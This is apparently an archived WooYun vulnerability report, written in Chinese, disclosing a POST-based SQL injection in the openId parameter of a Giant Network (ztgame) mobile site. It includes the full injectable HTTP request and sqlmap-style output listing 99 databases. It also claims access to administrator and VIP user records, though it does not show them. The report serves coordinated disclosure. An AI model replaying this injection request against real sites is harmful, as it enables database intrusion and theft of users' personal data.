乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-10-10： 细节已通知厂商并且等待厂商处理中 2015-10-13： 厂商已经确认，细节仅向厂商公开 2015-10-23： 细节向核心白帽子及相关领域专家公开 2015-11-02： 细节向普通白帽子公开 2015-11-12： 细节向实习白帽子公开 2015-11-27： 细节向公众公开
巨人某站POST型SQL注入（99个库、管理员信息、VIP用户信息等）
1、巨人数据网站POST型SQL注入,URL:http://mobile.ztgame.com2、POST包：
POST /mobileapp/ HTTP/1.1Content-Length: 29Content-Type: application/x-www-form-urlencodedReferer: http://mobile.ztgame.comCookie: PHPSESSID=e98osel9ki4voh6b5mlne497s2Host: mobile.ztgame.comConnection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21Accept: */*act=setMustLogin&openId=1'*
3、参数openId存在问题：
4、99个库：
---web application technology: Apache 2.2.11, PHP 5.4.4back-end DBMS: MySQL >= 5.0.0available databases [99]:[*] a_consume_day[*] a_ly360_consume_day[*] a_ptaidata_web[*] a_zoneinfo_hour[*] action_rpt_god[*] action_rpt_hs[*] action_rpt_pla[*] action_rpt_xxsj[*] action_rpt_ztgame[*] action_rpt_ztnew[*] all_zoneInfo[*] all_zoneInfo_hour[*] anti_fraud_cheat_account[*] anti_fraud_stat[*] area_stat_rpt[*] buy_silver[*] caiwu_check[*] caiwu_data_report[*] cb_rpt[*] check_ordervsobj[*] check_up[*] classify_user_rpt[*] consume_vip[*] cs_order[*] csjz_cb_tmp[*] csjz_hour_stat[*] data_node_course_detail[*] data_node_name_day[*] db_union_sortlist[*] dim_tpart_config[*] dim_zoneinfo_for_xinjian[*] easy_consume_rpt[*] finance_dw[*] finance_lost_reg[*] GAQ[*] GAQ1_download[*] GAQ4_download[*] GAQ5_download[*] GAQ6_download[*] GAQ8_download[*] GAQ9_download[*] hbs[*] hour_computer[*] hour_computer_back[*] hour_computer_bak11111[*] information_schema[*] jh_sortlist[*] loading_lost[*] mail_quick[*] media_stat[*] money_monitor[*] mysql[*] new_user_rpt[*] newzone_15index[*] objkeywords_stat[*] peng[*] ptai_stat_219[*] ptai_stat_report[*] ptai_stat_report_del[*] ptai_stat_rpt[*] realtime_rpt[*] realtime_rpt_test[*] realtime_rpt_tmp[*] remain_rpt[*] report[*] resource_manage_system[*] rpt_client_adcost[*] rpt_client_ptai_stat[*] rpt_mobile_conf[*] rpt_mobile_consume_stat[*] rpt_mobile_ptai_stat[*] rpt_mobile_realtime_stat[*] rpt_mobile_realtime_stat_test[*] rpt_mobile_user_trace[*] rpt_mobile_user_trace_test[*] rpt_must_ptai_stat[*] rpt_must_user_trace[*] scb_ws[*] scb_xxsj[*] select_db_detail[*] sobj_stat[*] sortlist_collect_rpt[*] stat[*] stat_analyze[*] stat_consume[*] test[*] transform_rpt[*] user_analyze[*] user_analyze_xt[*] user_analyze_zt2[*] user_analyze_ztgame[*] user_center_rpt[*] user_segmentation_report[*] vip[*] vip_xt_obj[*] vip_zt2_obj[*] vip_ztgame_obj[*] xxxx[*] zoneinfo
5、其中库consume_vip中存在管理员信息：姓名、ID：
6、还有1000多VIP用户信息：账号、手机号等：
下面是部分列表：
7、最后上个大数据，貌似有四千多万：
库Vip中的账号、ID、姓名等数据，不过出数据太慢了！还有很多其他库，不深入了。。。
危害等级：中
漏洞Rank：10
确认时间：2015-10-13 13:43
感谢路人甲的无私帮助！
暂无
